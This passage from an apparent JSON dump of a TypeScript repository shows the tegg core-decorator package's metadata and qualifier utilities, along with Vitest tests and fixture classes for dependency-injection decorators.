PrototypeUtil.MULTI_INSTANCE_PROTOTYPE_STATIC_PROPERTY,\n      clazz,\n    );\n    if (metadata) {\n      return metadata;\n    }\n    const callBackMetadata = MetadataUtil.getOwnMetaData<EggMultiInstanceCallbackPrototypeInfo>(\n      PrototypeUtil.MULTI_INSTANCE_PROTOTYPE_CALLBACK_PROPERTY,\n      clazz,\n    );\n    if (callBackMetadata) {\n      const objects = await callBackMetadata.getObjects(ctx);\n      // TODO delete in next major version, default qualifier be added in ProtoDescriptorHelper.addDefaultQualifier\n      const defaultQualifier = [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: callBackMetadata.initType,\n        },\n        {\n          attribute: LoadUnitNameQualifierAttribute,\n          value: ctx.moduleName,\n        },\n      ];\n      for (const object of objects) {\n        defaultQualifier.forEach((qualifier) => {\n          if (!object.qualifiers.find((t) => t.attribute === qualifier.attribute)) {\n            object.qualifiers.push(qualifier);\n          }\n        });\n      }\n      return {\n        ...callBackMetadata,\n        objects,\n      };\n    }\n  }\n\n  static setMultiInstanceConstructorAttributes(clazz: EggProtoImplClass, attributes: QualifierAttribute[]): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.MULTI_INSTANCE_CONSTRUCTOR_ATTRIBUTES, attributes, clazz);\n  }\n\n  static getMultiInstanceConstructorAttributes(clazz: EggProtoImplClass): QualifierAttribute[] {\n    return MetadataUtil.getMetaData(PrototypeUtil.MULTI_INSTANCE_CONSTRUCTOR_ATTRIBUTES, clazz) || [];\n  }\n\n  static setMultiInstanceConstructorIndex(clazz: EggProtoImplClass, index: number): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.MULTI_INSTANCE_CONSTRUCTOR_INDEX, index, clazz);\n  }\n\n  static getMultiInstanceConstructorIndex(clazz: EggProtoImplClass): number | undefined {\n    return MetadataUtil.getMetaData(PrototypeUtil.MULTI_INSTANCE_CONSTRUCTOR_INDEX, clazz);\n  }\n\n  static setInjectType(clazz: EggProtoImplClass, type: InjectType): void {\n    const injectType: InjectType | undefined = MetadataUtil.getMetaData(PrototypeUtil.INJECT_TYPE, clazz);\n    if (!injectType) {\n      MetadataUtil.defineMetaData(PrototypeUtil.INJECT_TYPE, type, clazz);\n    } else if (injectType !== type) {\n      throw new Error(`class ${clazz.name} already use inject type ${injectType} can not use ${type}`);\n    }\n  }\n\n  static addInjectObject(clazz: EggProtoImplClass, injectObject: InjectObjectInfo): void {\n    const objs: InjectObjectInfo[] = MetadataUtil.initOwnArrayMetaData(PrototypeUtil.INJECT_OBJECT_NAME_SET, clazz, []);\n    objs.push(injectObject);\n    MetadataUtil.defineMetaData(PrototypeUtil.INJECT_OBJECT_NAME_SET, objs, clazz);\n  }\n\n  static addInjectConstructor(clazz: EggProtoImplClass, injectConstructorInfo: InjectConstructorInfo): void {\n    const objs: InjectConstructorInfo[] = MetadataUtil.initArrayMetaData(\n      PrototypeUtil.INJECT_CONSTRUCTOR_NAME_SET,\n      clazz,\n      [],\n    );\n    objs.push(injectConstructorInfo);\n    MetadataUtil.defineMetaData(PrototypeUtil.INJECT_CONSTRUCTOR_NAME_SET, objs, clazz);\n  }\n\n  static getInjectType(clazz: EggProtoImplClass): InjectType | undefined {\n    const injectType: InjectType | undefined = MetadataUtil.getMetaData(PrototypeUtil.INJECT_TYPE, clazz);\n    return injectType;\n  }\n\n  static getInjectObjects(clazz: EggProtoImplClass): Array<InjectObjectInfo | InjectConstructorInfo> {\n    const injectType: InjectType | undefined = MetadataUtil.getMetaData(PrototypeUtil.INJECT_TYPE, clazz);\n    if (!injectType) {\n      return [];\n    }\n    if (injectType === InjectType.CONSTRUCTOR) {\n      return MetadataUtil.getArrayMetaData<InjectConstructorInfo>(\n        PrototypeUtil.INJECT_CONSTRUCTOR_NAME_SET,\n        clazz,\n      ).sort((a, b) => {\n        return a.refIndex - b.refIndex;\n      });\n    }\n    return MetadataUtil.getArrayMetaData(PrototypeUtil.INJECT_OBJECT_NAME_SET, clazz);\n  }\n\n  // static getInjectConstructors(clazz: EggProtoImplClass): Array<InjectConstructorInfo> {\n  //   return MetadataUtil.getArrayMetaData<InjectConstructorInfo>(PrototypeUtil.INJECT_CONSTRUCTOR_NAME_SET, clazz)\n  //     .sort((a, b) => {\n  //       return a.refIndex - b.refIndex;\n  //     });\n  // }\n\n  // TODO fix proto type\n  static getClazzProto(clazz: EggProtoImplClass): object | undefined {\n    return MetadataUtil.getMetaData(PrototypeUtil.CLAZZ_PROTO, clazz);\n  }\n\n  // TODO fix proto type\n  static setClazzProto(clazz: EggProtoImplClass, proto: object): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.CLAZZ_PROTO, proto, clazz);\n  }\n\n  static getDesignType(clazz: EggProtoImplClass, propKey?: PropertyKey): unknown | undefined {\n    return MetadataUtil.getMetaData('design:type', clazz, propKey);\n  }\n\n  static getDesignParamtypes(clazz: EggProtoImplClass, propKey?: PropertyKey): unknown[] | undefined {\n    return MetadataUtil.getMetaData<unknown[]>('design:paramtypes', clazz, propKey);\n  }\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/util/QualifierUtil.ts",
    "content": "import { MapUtil, ObjectUtils } from '@eggjs/tegg-common-util';\nimport { PROPERTY_QUALIFIER_META_DATA, QUALIFIER_META_DATA } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, QualifierAttribute, QualifierInfo, QualifierValue } from '@eggjs/tegg-types';\n\nimport { MetadataUtil } from './MetadataUtil.ts';\n\nexport class QualifierUtil {\n  static addProtoQualifier(clazz: EggProtoImplClass, attribute: QualifierAttribute, value: QualifierValue): void {\n    const qualifiers = MetadataUtil.initOwnMapMetaData(\n      QUALIFIER_META_DATA,\n      clazz,\n      new Map<QualifierAttribute, QualifierValue>(),\n    );\n    qualifiers.set(attribute, value);\n  }\n\n  static getProtoQualifiers(clazz: EggProtoImplClass): QualifierInfo[] {\n    const qualifiers: Map<QualifierAttribute, QualifierValue> | undefined = MetadataUtil.getMetaData(\n      QUALIFIER_META_DATA,\n      clazz,\n    );\n    if (!qualifiers) {\n      return [];\n    }\n    const res: QualifierInfo[] = [];\n    for (const [attribute, value] of qualifiers) {\n      res.push({\n        attribute,\n        value,\n      });\n    }\n    return res;\n  }\n\n  static addInjectQualifier(\n    clazz: EggProtoImplClass,\n    property: PropertyKey | undefined,\n    parameterIndex: number | undefined,\n    attribute: QualifierAttribute,\n    value: QualifierValue,\n  ): void {\n    if (typeof parameterIndex === 'number') {\n      const argNames = ObjectUtils.getConstructorArgNameList(clazz);\n      const argName = argNames[parameterIndex];\n      QualifierUtil.addProperQualifier(clazz, argName, attribute, value);\n    } else {\n      QualifierUtil.addProperQualifier((clazz as any).constructor, property!, attribute, value);\n    }\n  }\n\n  static addProperQualifier(\n    clazz: EggProtoImplClass,\n    property: PropertyKey,\n    attribute: QualifierAttribute,\n    value: QualifierValue,\n  ): void {\n    const properQualifiers = MetadataUtil.initOwnMapMetaData(\n      PROPERTY_QUALIFIER_META_DATA,\n      clazz,\n      new Map<PropertyKey, Map<QualifierAttribute, QualifierValue>>(),\n    );\n    const qualifiers = MapUtil.getOrStore(properQualifiers, property, new Map<PropertyKey, QualifierValue>());\n    qualifiers.set(attribute, value);\n  }\n\n  static getProperQualifiers(clazz: EggProtoImplClass, property: PropertyKey): QualifierInfo[] {\n    const properQualifiers: Map<PropertyKey, Map<QualifierAttribute, QualifierValue>> | undefined =\n      MetadataUtil.getMetaData(PROPERTY_QUALIFIER_META_DATA, clazz);\n    const qualifiers = properQualifiers?.get(property);\n    if (!qualifiers) {\n      return [];\n    }\n    const res: QualifierInfo[] = [];\n    for (const [attribute, value] of qualifiers) {\n      res.push({\n        attribute,\n        value,\n      });\n    }\n    return res;\n  }\n\n  static getQualifierValue(clazz: EggProtoImplClass, attribute: QualifierAttribute): QualifierValue | undefined {\n    // Use getOwnMetaData instead of getMetaData to avoid reading qualifiers\n    // from parent classes via the prototype chain. Without this, subclasses\n    // (e.g., ElectronBinary extends GithubBinary) would incorrectly see the\n    // parent's qualifier as their own, causing the duplicate qualifier check\n    // in addProtoQualifier to throw a false positive.\n    const qualifiers: Map<QualifierAttribute, QualifierValue> | undefined = MetadataUtil.getOwnMetaData(\n      QUALIFIER_META_DATA,\n      clazz,\n    );\n    return qualifiers?.get(attribute);\n  }\n\n  static getProperQualifier(\n    clazz: EggProtoImplClass,\n    property: PropertyKey,\n    attribute: QualifierAttribute,\n  ): QualifierValue | undefined {\n    const properQualifiers: Map<PropertyKey, Map<QualifierAttribute, QualifierValue>> | undefined =\n      MetadataUtil.getMetaData(PROPERTY_QUALIFIER_META_DATA, clazz);\n    const qualifiers = properQualifiers?.get(property);\n    return qualifiers?.get(attribute);\n  }\n\n  static matchQualifiers(clazzQualifiers: QualifierInfo[], requestQualifiers: QualifierInfo[]): boolean {\n    for (const request of requestQualifiers) {\n      if (!clazzQualifiers.find((t) => t.attribute === request.attribute && t.value === request.value)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  static equalQualifiers(clazzQualifiers: QualifierInfo[], requestQualifiers: QualifierInfo[]): boolean {\n    if (clazzQualifiers.length !== requestQualifiers.length) return false;\n    return QualifierUtil.matchQualifiers(clazzQualifiers, requestQualifiers);\n  }\n\n  static mergeQualifiers(...qualifiers: QualifierInfo[][]): QualifierInfo[] {\n    const result: QualifierInfo[] = [];\n    const temp: Record<QualifierAttribute, QualifierValue> = {};\n    for (const qualifierList of qualifiers) {\n      for (const { attribute, value } of qualifierList) {\n        temp[attribute] = value;\n      }\n    }\n    for (const key of Reflect.ownKeys(temp)) {\n      result.push({\n        attribute: key,\n        value: temp[key],\n      });\n    }\n    return result;\n  }\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/util/index.ts",
    "content": "export * from './MetadataUtil.ts';\nexport * from './PrototypeUtil.ts';\nexport * from './QualifierUtil.ts';\n"
  },
  {
    "path": "tegg/core/core-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"AccessLevel\": {\n    \"PRIVATE\": \"PRIVATE\",\n    \"PUBLIC\": \"PUBLIC\",\n  },\n  \"CONSTRUCTOR_QUALIFIER_META_DATA\": Symbol(EggPrototype#constructorQualifier),\n  \"ConfigSourceQualifier\": [Function],\n  \"ConfigSourceQualifierAttribute\": Symbol(Qualifier.ConfigSource),\n  \"ContextProto\": [Function],\n  \"DEFAULT_PROTO_IMPL_TYPE\": \"DEFAULT\",\n  \"EggQualifier\": [Function],\n  \"EggQualifierAttribute\": Symbol(Qualifier.Egg),\n  \"EggType\": {\n    \"APP\": \"APP\",\n    \"CONTEXT\": \"CONTEXT\",\n  },\n  \"INIT_TYPE_TRY_ORDER\": [\n    \"CONTEXT\",\n    \"SINGLETON\",\n    \"ALWAYS_NEW\",\n  ],\n  \"InitTypeQualifier\": [Function],\n  \"InitTypeQualifierAttribute\": Symbol(Qualifier.InitType),\n  \"Inject\": [Function],\n  \"InjectOptional\": [Function],\n  \"InjectType\": {\n    \"CONSTRUCTOR\": \"CONSTRUCTOR\",\n    \"PROPERTY\": \"PROPERTY\",\n  },\n  \"LoadUnitNameQualifierAttribute\": Symbol(Qualifier.LoadUnitName),\n  \"MetadataUtil\": [Function],\n  \"ModuleQualifier\": [Function],\n  \"MultiInstanceInfo\": [Function],\n  \"MultiInstanceProto\": [Function],\n  \"MultiInstanceType\": {\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"STATIC\": \"STATIC\",\n  },\n  \"ObjectInitType\": {\n    \"ALWAYS_NEW\": \"ALWAYS_NEW\",\n    \"CONTEXT\": \"CONTEXT\",\n    \"SINGLETON\": \"SINGLETON\",\n  },\n  \"PROPERTY_QUALIFIER_META_DATA\": Symbol(EggPrototype#propertyQualifier),\n  \"Prototype\": [Function],\n  \"PrototypeUtil\": [Function],\n  \"QUALIFIER_META_DATA\": Symbol(EggPrototype#qualifier),\n  \"QualifierUtil\": [Function],\n  \"SingletonProto\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/core-decorator/test/decorators.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport {\n  AccessLevel,\n  ObjectInitType,\n  LoadUnitNameQualifierAttribute,\n  InitTypeQualifierAttribute,\n  DEFAULT_PROTO_IMPL_TYPE,\n  MultiInstanceType,\n  InjectType,\n} from '@eggjs/tegg-types';\nimport type { EggPrototypeInfo, EggMultiInstancePrototypeInfo, InjectObjectInfo } from '@eggjs/tegg-types';\nimport { describe, it, expect } from 'vitest';\n\nimport { PrototypeUtil, QualifierUtil } from '../src/index.ts';\nimport CacheService from './fixtures/decators/CacheService.ts';\nimport {\n  ChildDynamicMultiInstanceProto,\n  ChildSingletonProto,\n  ChildStaticMultiInstanceProto,\n  ParentDynamicMultiInstanceProto,\n  ParentSingletonProto,\n  ParentStaticMultiInstanceProto,\n} from './fixtures/decators/ChildService.ts';\nimport { ConstructorObject, ConstructorQualifierObject } from './fixtures/decators/ConstructorObject.ts';\nimport ContextCache from './fixtures/decators/ContextCache.ts';\nimport { FOO_ATTRIBUTE, FooLogger } from './fixtures/decators/FooLogger.ts';\nimport QualifierCacheService from './fixtures/decators/QualifierCacheService.ts';\nimport SingletonCache from './fixtures/decators/SingletonCache.ts';\n\ndescribe('test/decorators.test.ts', () => {\n  describe('ContextProto', () => {\n    it('should work', () => {\n      assert(PrototypeUtil.isEggPrototype(ContextCache));\n      const expectObjectProperty: EggPrototypeInfo = {\n        name: 'cache',\n        initType: ObjectInitType.CONTEXT,\n        accessLevel: AccessLevel.PUBLIC,\n        protoImplType: DEFAULT_PROTO_IMPL_TYPE,\n        className: 'ContextCache',\n      };\n      assert.deepStrictEqual(PrototypeUtil.getProperty(ContextCache), expectObjectProperty);\n    });\n  });\n\n  describe('SingletonProto', () => {\n    it('should work', () => {\n      assert(PrototypeUtil.isEggPrototype(SingletonCache));\n      const expectObjectProperty: EggPrototypeInfo = {\n        name: 'cache',\n        initType: ObjectInitType.SINGLETON,\n        accessLevel: AccessLevel.PUBLIC,\n        protoImplType: DEFAULT_PROTO_IMPL_TYPE,\n        className: 'SingletonCache',\n      };\n      assert.deepStrictEqual(PrototypeUtil.getProperty(SingletonCache), expectObjectProperty);\n    });\n  });\n\n  describe('Inject', () => {\n    it('property should work', () => {\n      assert(PrototypeUtil.isEggPrototype(CacheService));\n      const injectType = PrototypeUtil.getInjectType(CacheService);\n      expect(injectType).toBe(InjectType.PROPERTY);\n\n      const expectInjectInfo: InjectObjectInfo[] = [\n        {\n          refName: 'cache',\n          objName: 'fooCache',\n        },\n        {\n          refName: 'testService',\n          objName: 'testService',\n        },\n        {\n          refName: 'testService2',\n          objName: 'abcabc',\n        },\n        {\n          refName: 'otherService',\n          objName: 'testService3',\n        },\n        {\n          objName: 'testService4',\n          refName: 'testService4',\n        },\n        {\n          objName: 'optionalService1',\n          refName: 'optionalService1',\n          optional: true,\n        },\n        {\n          objName: 'optionalService2',\n          refName: 'optionalService2',\n          optional: true,\n        },\n      ];\n      expect(PrototypeUtil.getInjectObjects(CacheService)).toStrictEqual(expectInjectInfo);\n    });\n\n    it('constructor should work', () => {\n      const injectType = PrototypeUtil.getInjectType(ConstructorObject);\n      expect(injectType).toBe(InjectType.CONSTRUCTOR);\n\n      const injectConstructors = PrototypeUtil.getInjectObjects(ConstructorObject);\n      expect(injectConstructors).toStrictEqual([\n        { refIndex: 0, refName: 'xCache', objName: 'fooCache' },\n        { refIndex: 1, refName: 'cache', objName: 'cache' },\n        { refIndex: 2, refName: 'otherCache', objName: 'cacheService' },\n        {\n          refIndex: 3,\n          refName: 'optional1',\n          objName: 'optional1',\n          optional: true,\n        },\n        {\n          refIndex: 4,\n          refName: 'optional2',\n          objName: 'optional2',\n          optional: true,\n        },\n      ]);\n    });\n  });\n\n  describe('Qualifier', () => {\n    it('should work', () => {\n      assert(PrototypeUtil.isEggPrototype(QualifierCacheService));\n      const property = 'cache';\n      assert(\n        QualifierUtil.getProperQualifier(QualifierCacheService, property, LoadUnitNameQualifierAttribute) === 'foo',\n      );\n      assert(\n        QualifierUtil.getProperQualifier(QualifierCacheService, property, InitTypeQualifierAttribute) ===\n          ObjectInitType.SINGLETON,\n      );\n    });\n\n    it('should set default initType in inject', () => {\n      const properties = [\n        { property: 'interfaceService', expected: undefined },\n        { property: 'testContextService', expected: ObjectInitType.CONTEXT },\n        {\n          property: 'testSingletonService',\n          expected: ObjectInitType.SINGLETON,\n        },\n        { property: 'customNameService', expected: undefined },\n        {\n          property: 'customQualifierService1',\n          expected: ObjectInitType.CONTEXT,\n        },\n        {\n          property: 'customQualifierService2',\n          expected: ObjectInitType.CONTEXT,\n        },\n      ];\n\n      for (const { property, expected } of properties) {\n        const qualifier = QualifierUtil.getProperQualifier(QualifierCacheService, property, InitTypeQualifierAttribute);\n        assert.strictEqual(qualifier, expected, `expect initType for ${property} to be ${expected}`);\n      }\n    });\n\n    it('should work use Symbol.for', () => {\n      assert(PrototypeUtil.isEggPrototype(QualifierCacheService));\n      const property = 'cache';\n      assert(\n        QualifierUtil.getProperQualifier(QualifierCacheService, property, Symbol.for('Qualifier.LoadUnitName')) ===\n          'foo',\n      );\n      assert(\n        QualifierUtil.getProperQualifier(QualifierCacheService, property, Symbol.for('Qualifier.InitType')) ===\n          ObjectInitType.SINGLETON,\n      );\n    });\n\n    it('constructor should work', () => {\n      const constructorQualifiers = QualifierUtil.getProperQualifiers(ConstructorObject, 'xCache');\n      const constructorQualifiers2 = QualifierUtil.getProperQualifiers(ConstructorObject, 'cache');\n      assert.deepStrictEqual(constructorQualifiers, [\n        { attribute: Symbol.for('Qualifier.LoadUnitName'), value: 'foo' },\n        {\n          attribute: Symbol.for('Qualifier.InitType'),\n          value: ObjectInitType.SINGLETON,\n        },\n      ]);\n      assert.deepStrictEqual(constructorQualifiers2, []);\n    });\n\n    it('should set default initType in constructor inject', () => {\n      const properties = [\n        // { property: 'xCache', expected: undefined },\n        { property: 'cache', expected: ObjectInitType.SINGLETON },\n        { property: 'ContextCache', expected: ObjectInitType.CONTEXT },\n        { property: 'customNameCache', expected: undefined },\n        { property: 'customQualifierCache1', expected: ObjectInitType.CONTEXT },\n        { property: 'customQualifierCache2', expected: ObjectInitType.CONTEXT },\n      ];\n\n      for (const { property, expected } of properties) {\n        const qualifier = QualifierUtil.getProperQualifier(\n          ConstructorQualifierObject,\n          property,\n          InitTypeQualifierAttribute,\n        );\n        assert.equal(qualifier, expected, `expect initType for ${property} to be ${expected}`);\n      }\n    });\n  });\n\n  describe('MultiInstanceProto', () => {\n    it('should work', async () => {\n      assert(PrototypeUtil.isEggMultiInstancePrototype(FooLogger));\n      const expectObjectProperty: EggMultiInstancePrototypeInfo = {\n        initType: ObjectInitType.SINGLETON,\n        accessLevel: AccessLevel.PUBLIC,\n        protoImplType: 'foo',\n        objects: [\n          {\n            name: 'foo',\n            qualifiers: [\n              {\n                attribute: FOO_ATTRIBUTE,\n                value: 'foo1',\n              },\n            ],\n          },\n          {\n            name: 'foo',\n            qualifiers: [\n              {\n                attribute: FOO_ATTRIBUTE,\n                value: 'foo2',\n              },\n            ],\n          },\n        ],\n        className: 'FooLogger',\n      };\n      assert.deepStrictEqual(\n        await PrototypeUtil.getMultiInstanceProperty(FooLogger, {\n          unitPath: 'foo',\n          moduleName: '',\n        }),\n        expectObjectProperty,\n      );\n    });\n  });\n\n  it('should get the right file path', () => {\n    // console.warn(CacheService.fileName);\n    // console.warn(PrototypeUtil.getFilePath(CacheService));\n    assert.equal(PrototypeUtil.getFilePath(CacheService), CacheService.fileName);\n  });\n\n  describe('inherited', () => {\n    const fakeCtx = {\n      unitPath: 'foo',\n      moduleName: '',\n    };\n\n    it('Prototype should not be inherited', () => {\n      assert(PrototypeUtil.isEggPrototype(ParentSingletonProto));\n      assert(PrototypeUtil.getProperty(ParentSingletonProto));\n      assert(PrototypeUtil.getFilePath(ParentSingletonProto));\n\n      assert.strictEqual(PrototypeUtil.isEggPrototype(ChildSingletonProto), false);\n      assert.strictEqual(PrototypeUtil.getProperty(ChildSingletonProto), undefined);\n      assert.strictEqual(PrototypeUtil.getFilePath(ChildSingletonProto), undefined);\n    });\n\n    it('static multiInstanceProto should not be inherited', async () => {\n      assert(PrototypeUtil.isEggMultiInstancePrototype(ParentStaticMultiInstanceProto));\n      assert.strictEqual(\n        PrototypeUtil.getEggMultiInstancePrototypeType(ParentStaticMultiInstanceProto),\n        MultiInstanceType.STATIC,\n      );\n      assert(PrototypeUtil.getStaticMultiInstanceProperty(ParentStaticMultiInstanceProto));\n      assert(await PrototypeUtil.getMultiInstanceProperty(ParentStaticMultiInstanceProto, fakeCtx));\n      assert(PrototypeUtil.getFilePath(ParentStaticMultiInstanceProto));\n\n      assert.strictEqual(PrototypeUtil.isEggMultiInstancePrototype(ChildStaticMultiInstanceProto), false);\n      assert.strictEqual(PrototypeUtil.getEggMultiInstancePrototypeType(ChildStaticMultiInstanceProto), undefined);\n      assert.strictEqual(PrototypeUtil.getStaticMultiInstanceProperty(ChildStaticMultiInstanceProto), undefined);\n      assert.strictEqual(\n        await PrototypeUtil.getMultiInstanceProperty(ChildStaticMultiInstanceProto, fakeCtx),\n        undefined,\n      );\n      assert.strictEqual(PrototypeUtil.getFilePath(ChildStaticMultiInstanceProto), undefined);\n    });\n\n    it('dynamic multipleInstanceProto should not be inherited', async () => {\n      assert.strictEqual(\n        PrototypeUtil.getEggMultiInstancePrototypeType(ParentDynamicMultiInstanceProto),\n        MultiInstanceType.DYNAMIC,\n      );\n      assert(await PrototypeUtil.getDynamicMultiInstanceProperty(ParentDynamicMultiInstanceProto, fakeCtx));\n      assert(await PrototypeUtil.getMultiInstanceProperty(ParentDynamicMultiInstanceProto, fakeCtx));\n\n      assert.strictEqual(PrototypeUtil.getEggMultiInstancePrototypeType(ChildDynamicMultiInstanceProto), undefined);\n      assert.strictEqual(\n        await PrototypeUtil.getDynamicMultiInstanceProperty(ChildDynamicMultiInstanceProto, fakeCtx),\n        undefined,\n      );\n      assert.strictEqual(\n        await PrototypeUtil.getMultiInstanceProperty(ChildDynamicMultiInstanceProto, fakeCtx),\n        undefined,\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/CacheService.ts",
    "content": "import { ContextProto, Inject, InjectOptional } from '../../../src/index.ts';\nimport { type ICache } from './ICache.ts';\nimport { TestService, TestService2 } from './OtherService.ts';\n\n@ContextProto()\nexport class TestService3 {\n  sayHi(): void {\n    console.info('hi');\n  }\n}\n\n@ContextProto()\nexport class TestService4 {\n  sayHi(): void {\n    console.info('hi');\n  }\n}\n\n@ContextProto()\nexport default class CacheService {\n  static fileName: string =\n    process.platform === 'win32' ? import.meta.filename.replaceAll('\\\\', '/') : import.meta.filename;\n\n  @Inject({\n    name: 'fooCache',\n  })\n  cache: ICache;\n\n  @Inject('testService')\n  testService: TestService;\n\n  @Inject()\n  testService2: TestService2;\n\n  @Inject()\n  otherService: TestService3;\n\n  @Inject()\n  testService4: any;\n\n  @Inject({ optional: true })\n  optionalService1?: any;\n\n  @InjectOptional()\n  optionalService2?: any;\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/ChildService.ts",
    "content": "import { MultiInstanceProto, SingletonProto } from '../../../src/index.ts';\n\n@SingletonProto()\nexport class ParentSingletonProto {}\n\nexport class ChildSingletonProto extends ParentSingletonProto {}\n\n@MultiInstanceProto({\n  objects: [],\n})\nexport class ParentStaticMultiInstanceProto {}\n\nexport class ChildStaticMultiInstanceProto extends ParentStaticMultiInstanceProto {}\n\n@MultiInstanceProto({\n  getObjects: () => [],\n})\nexport class ParentDynamicMultiInstanceProto {}\n\nexport class ChildDynamicMultiInstanceProto extends ParentDynamicMultiInstanceProto {}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/ConstructorObject.ts",
    "content": "import { ObjectInitType } from '@eggjs/tegg-types';\n\nimport { Inject, InjectOptional } from '../../../src/index.js';\nimport { SingletonProto } from '../../../src/index.ts';\nimport { InitTypeQualifier } from '../../../src/index.ts';\nimport { ModuleQualifier } from '../../../src/index.ts';\nimport { ContextProto } from '../../../src/index.ts';\nimport { type ICache } from './ICache.ts';\n\n@SingletonProto()\nexport class CacheService {}\n\n@ContextProto()\nexport class CacheContextService {}\n\n@SingletonProto()\nexport class ConstructorObject {\n  constructor(\n    // @ts-expect-error: readonly property in constructor\n    @InitTypeQualifier(ObjectInitType.SINGLETON)\n    @ModuleQualifier('foo')\n    @Inject({ name: 'fooCache' })\n    readonly xCache: ICache,\n    // @ts-expect-error: readonly property in constructor\n    @Inject() readonly cache: ICache,\n    // @ts-expect-error: readonly property in constructor\n    @Inject() readonly otherCache: CacheService,\n    // @ts-expect-error: readonly property in constructor\n    @Inject({ optional: true }) readonly optional1?: ICache | undefined,\n    // @ts-expect-error: readonly property in constructor\n    @InjectOptional() readonly optional2?: ICache | undefined,\n  ) {}\n}\n\n@SingletonProto()\nexport class ConstructorQualifierObject {\n  constructor(\n    // @ts-expect-error: readonly property in constructor\n    @Inject() readonly xCache: ICache,\n    // @ts-expect-error: readonly property in constructor\n    @Inject() readonly cache: CacheService,\n    // @ts-expect-error: readonly property in constructor\n    @Inject() readonly ContextCache: CacheContextService,\n    // @ts-expect-error: readonly property in constructor\n    @Inject('cacheService') readonly customNameCache: CacheService,\n    // @ts-expect-error: readonly property in constructor\n    @InitTypeQualifier(ObjectInitType.CONTEXT)\n    @Inject()\n    readonly customQualifierCache1: CacheService,\n    // @ts-expect-error: readonly property in constructor\n    @Inject()\n    @InitTypeQualifier(ObjectInitType.CONTEXT)\n    readonly customQualifierCache2: CacheService,\n  ) {}\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/ContextCache.ts",
    "content": "import { AccessLevel } from '@eggjs/tegg-types';\n\nimport { ContextProto } from '../../../src/index.ts';\nimport { type ICache } from './ICache.ts';\n\n@ContextProto({\n  name: 'cache',\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class ContextCache implements ICache {}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/FooLogger.ts",
    "content": "import { AccessLevel, ObjectInitType } from '@eggjs/tegg-types';\n\nimport { MultiInstanceProto } from '../../../src/index.ts';\n\nexport const FOO_ATTRIBUTE: symbol = Symbol.for('FOO_ATTRIBUTE');\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  protoImplType: 'foo',\n  objects: [\n    {\n      name: 'foo',\n      qualifiers: [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo1',\n        },\n      ],\n    },\n    {\n      name: 'foo',\n      qualifiers: [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo2',\n        },\n      ],\n    },\n  ],\n})\nexport class FooLogger {}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/ICache.ts",
    "content": "export interface ICache {}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/OtherService.ts",
    "content": "import { ContextProto } from '../../../src/index.ts';\n\n@ContextProto()\nexport class TestService {\n  sayHi(): void {\n    console.info('hi');\n  }\n}\n\n@ContextProto({ name: 'abcabc' })\nexport class TestService2 {\n  sayHi(): void {\n    console.info('hi');\n  }\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/QualifierCacheService.ts",
    "content": "import { ObjectInitType } from '@eggjs/tegg-types';\n\nimport { ContextProto, InitTypeQualifier, Inject, ModuleQualifier, SingletonProto } from '../../../src/index.ts';\nimport { type ICache } from './ICache.ts';\n\n@ContextProto()\nexport class TestContextService {}\n\n@SingletonProto()\nexport class TestSingletonService {}\n\n@ContextProto()\nexport default class CacheService {\n  @Inject({\n    name: 'fooCache',\n  })\n  @InitTypeQualifier(ObjectInitType.SINGLETON)\n  @ModuleQualifier('foo')\n  cache: ICache;\n\n  @Inject()\n  interfaceService: ICache;\n\n  @Inject()\n  testContextService: TestContextService;\n\n  @Inject()\n  testSingletonService: TestSingletonService;\n\n  @Inject('testSingletonService')\n  customNameService: TestSingletonService;\n\n  @InitTypeQualifier(ObjectInitType.CONTEXT)\n  @Inject()\n  customQualifierService1: TestSingletonService;\n\n  @Inject()\n  @InitTypeQualifier(ObjectInitType.CONTEXT)\n  customQualifierService2: TestSingletonService;\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/fixtures/decators/SingletonCache.ts",
    "content": "import { AccessLevel } from '@eggjs/tegg-types';\n\nimport { SingletonProto } from '../../../src/index.ts';\nimport { type ICache } from './ICache.ts';\n\n@SingletonProto({\n  name: 'cache',\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class SingletonCache implements ICache {}\n"
  },
  {
    "path": "tegg/core/core-decorator/test/index.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as types from '../src/index.ts';\n\ntest('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/core-decorator/test/util/MetadataUtil.test.ts",
